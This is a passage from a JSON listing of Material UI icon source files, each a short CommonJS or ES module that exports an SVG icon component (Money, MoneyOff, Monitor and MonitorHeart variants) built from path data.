    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.42 0 2.13.54 2.39 1.4.13.43.56.7 1.01.7h.06c.7 0 1.22-.71.97-1.36-.44-1.15-1.41-2.08-2.93-2.45V4.5c0-.83-.67-1.5-1.5-1.5S11 3.67 11 4.5v.66c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M4.77 4.62c-.39.39-.39 1.02 0 1.41L7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-1.65 0-2.5-.59-2.83-1.43-.15-.39-.49-.67-.9-.67H8.6c-.72 0-1.24.74-.95 1.39.59 1.33 1.89 2.12 3.36 2.44v.67c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-.65c.96-.18 1.83-.55 2.46-1.12l1.51 1.51c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L6.18 4.62a.996.996 0 0 0-1.41 0\"\n}), 'MoneyOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 6.9c1.78 0 2.44.85 2.5 2.1h2.21c-.07-1.72-1.12-3.3-3.21-3.81V3h-3v2.16c-.39.08-.75.21-1.1.36l1.51 1.51c.32-.08.69-.13 1.09-.13M5.47 3.92 4.06 5.33 7.5 8.77c0 2.08 1.56 3.22 3.91 3.91l3.51 3.51c-.34.49-1.05.91-2.42.91-2.06 0-2.87-.92-2.98-2.1h-2.2c.12 2.19 1.76 3.42 3.68 3.83V21h3v-2.15c.96-.18 1.83-.55 2.46-1.12l2.22 2.22 1.41-1.41z\"\n}), 'MoneyOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zm-7 6h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zM5 8h2v8H5zM2 4v16h20V4zm18 14H4V6h16z\"\n}), 'MoneyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zm-7 6h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zM5 8h2v8H5zM2 4v16h20V4zm18 14H4V6h16z\"\n}), 'MoneyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zm-7 6h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zM6 8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1M2 6v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2m17 12H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'MoneyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zm-7 6h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zM6 8c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1s1-.45 1-1V9c0-.55-.45-1-1-1M2 6v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2m17 12H5c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h14c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1\"\n}), 'MoneyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 16h5V8h-5zm2-6h1v4h-1zm-8 6h5V8H8zm2-6h1v4h-1zM5 8h2v8H5zM2 4v16h20V4zm18 14H4V6h16z\"\n}), 'MoneySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 16h5V8h-5zm2-6h1v4h-1zm-8 6h5V8H8zm2-6h1v4h-1zM5 8h2v8H5zM2 4v16h20V4zm18 14H4V6h16z\"\n}), 'MoneySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 10h1v4h-1zm6 0h1v4h-1zM4 18h16V6H4zm10-9c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1zM8 9c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1zM5 8h2v8H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 16h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zm-7 6h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zM5 8h2v8H5zM2 4v16h20V4zm18 14H4V6h16z\"\n}, \"1\")], 'MoneyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoneyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 10h1v4h-1zm6 0h1v4h-1zM4 18h16V6H4zm10-9c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1h-3c-.55 0-1-.45-1-1zM8 9c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1zM5 8h2v8H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 16h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zm-7 6h3c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1m1-6h1v4h-1zM5 8h2v8H5zM2 4v16h20V4zm18 14H4V6h16z\"\n}, \"1\")], 'MoneyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Monitor.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3l-1 1v2h12v-2l-1-1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H4V5h16z\"\n}), 'Monitor');"
  },
  {
    "path": "packages/mui-icons-material/lib/Monitor.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3l-1 1v2h12v-2l-1-1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H4V5h16z\"\n}), 'Monitor');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeart.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.16.34-.51.55-.89.55s-.73-.21-.89-.55L7.38 13H2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5h-6c-.38 0-.73-.21-.89-.55\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v5h6c.38 0 .73.21.89.55L10 13.76l3.11-6.21c.34-.68 1.45-.68 1.79 0L16.62 11H22V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'MonitorHeart');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeart.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.16.34-.51.55-.89.55s-.73-.21-.89-.55L7.38 13H2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5h-6c-.38 0-.73-.21-.89-.55\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v5h6c.38 0 .73.21.89.55L10 13.76l3.11-6.21c.34-.68 1.45-.68 1.79 0L16.62 11H22V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'MonitorHeart');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v3h2V6h16v3h2V6c0-1.1-.9-2-2-2m0 14H4v-3H2v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.89 7.55c-.34-.68-1.45-.68-1.79 0L10 13.76l-1.11-2.21A.988.988 0 0 0 8 11H2v2h5.38l1.72 3.45c.18.34.52.55.9.55s.72-.21.89-.55L14 10.24l1.11 2.21c.17.34.51.55.89.55h6v-2h-5.38z\"\n}, \"1\")], 'MonitorHeartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v3h2V6h16v3h2V6c0-1.1-.9-2-2-2m0 14H4v-3H2v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.89 7.55c-.34-.68-1.45-.68-1.79 0L10 13.76l-1.11-2.21A.988.988 0 0 0 8 11H2v2h5.38l1.72 3.45c.18.34.52.55.9.55s.72-.21.89-.55L14 10.24l1.11 2.21c.17.34.51.55.89.55h6v-2h-5.38z\"\n}, \"1\")], 'MonitorHeartOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.16.34-.51.55-.89.55s-.73-.21-.89-.55L7.38 13H2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5h-6c-.38 0-.73-.21-.89-.55\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v5h6c.38 0 .73.21.89.55L10 13.76l3.11-6.21c.34-.68 1.45-.68 1.79 0L16.62 11H22V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'MonitorHeartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.16.34-.51.55-.89.55s-.73-.21-.89-.55L7.38 13H2v5c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-5h-6c-.38 0-.73-.21-.89-.55\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v5h6c.38 0 .73.21.89.55L10 13.76l3.11-6.21c.34-.68 1.45-.68 1.79 0L16.62 11H22V6c0-1.1-.9-2-2-2\"\n}, \"1\")], 'MonitorHeartRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.16.34-.51.55-.89.55s-.73-.21-.89-.55L7.38 13H2v7h20v-7h-6c-.38 0-.73-.21-.89-.55\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v7h6c.38 0 .73.21.89.55L10 13.76l3.11-6.21c.37-.74 1.42-.74 1.79 0L16.62 11H22z\"\n}, \"1\")], 'MonitorHeartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.16.34-.51.55-.89.55s-.73-.21-.89-.55L7.38 13H2v7h20v-7h-6c-.38 0-.73-.21-.89-.55\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v7h6c.38 0 .73.21.89.55L10 13.76l3.11-6.21c.37-.74 1.42-.74 1.79 0L16.62 11H22z\"\n}, \"1\")], 'MonitorHeartSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.17.34-.51.55-.89.55s-.72-.21-.89-.55L7.38 13H2v2h2v3h16v-3h2v-2h-6c-.38 0-.72-.21-.89-.55\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6H4v3H2v2h6c.38 0 .72.21.89.55L10 13.76l3.11-6.21c.34-.68 1.45-.68 1.79 0L16.62 11H22V9h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v3h2V6h16v3h2V6c0-1.1-.9-2-2-2m0 14H4v-3H2v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.89 7.55c-.34-.68-1.45-.68-1.79 0L10 13.76l-1.11-2.21A.988.988 0 0 0 8 11H2v2h5.38l1.72 3.45c.18.34.52.55.9.55s.72-.21.89-.55L14 10.24l1.11 2.21c.17.34.51.55.89.55h6v-2h-5.38z\"\n}, \"3\")], 'MonitorHeartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorHeartTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.11 12.45 14 10.24l-3.11 6.21c-.17.34-.51.55-.89.55s-.72-.21-.89-.55L7.38 13H2v2h2v3h16v-3h2v-2h-6c-.38 0-.72-.21-.89-.55\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6H4v3H2v2h6c.38 0 .72.21.89.55L10 13.76l3.11-6.21c.34-.68 1.45-.68 1.79 0L16.62 11H22V9h-2z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v3h2V6h16v3h2V6c0-1.1-.9-2-2-2m0 14H4v-3H2v3c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-3h-2z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.89 7.55c-.34-.68-1.45-.68-1.79 0L10 13.76l-1.11-2.21A.988.988 0 0 0 8 11H2v2h5.38l1.72 3.45c.18.34.52.55.9.55s.72-.21.89-.55L14 10.24l1.11 2.21c.17.34.51.55.89.55h6v-2h-5.38z\"\n}, \"3\")], 'MonitorHeartTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3l-1 1v2h12v-2l-1-1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H4V5h16z\"\n}), 'MonitorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3l-1 1v2h12v-2l-1-1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H4V5h16z\"\n}), 'MonitorOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3c-.55.55-1 .87-1 1.59 0 .78.63 1.41 1.41 1.41h9.17c.78 0 1.41-.63 1.41-1.41 0-.72-.44-1.03-1-1.59h3c1.1 0 2-.9 2-2V5C22 3.9 21.1 3 20 3m0 13H4V5h16z\"\n}), 'MonitorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3c-.55.55-1 .87-1 1.59 0 .78.63 1.41 1.41 1.41h9.17c.78 0 1.41-.63 1.41-1.41 0-.72-.44-1.03-1-1.59h3c1.1 0 2-.9 2-2V5C22 3.9 21.1 3 20 3m0 13H4V5h16z\"\n}), 'MonitorRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2v15h5l-1 1v2h12v-2l-1-1h5zm-2 13H4V5h16z\"\n}), 'MonitorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2v15h5l-1 1v2h12v-2l-1-1h5zm-2 13H4V5h16z\"\n}), 'MonitorSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorTwoTone.js",
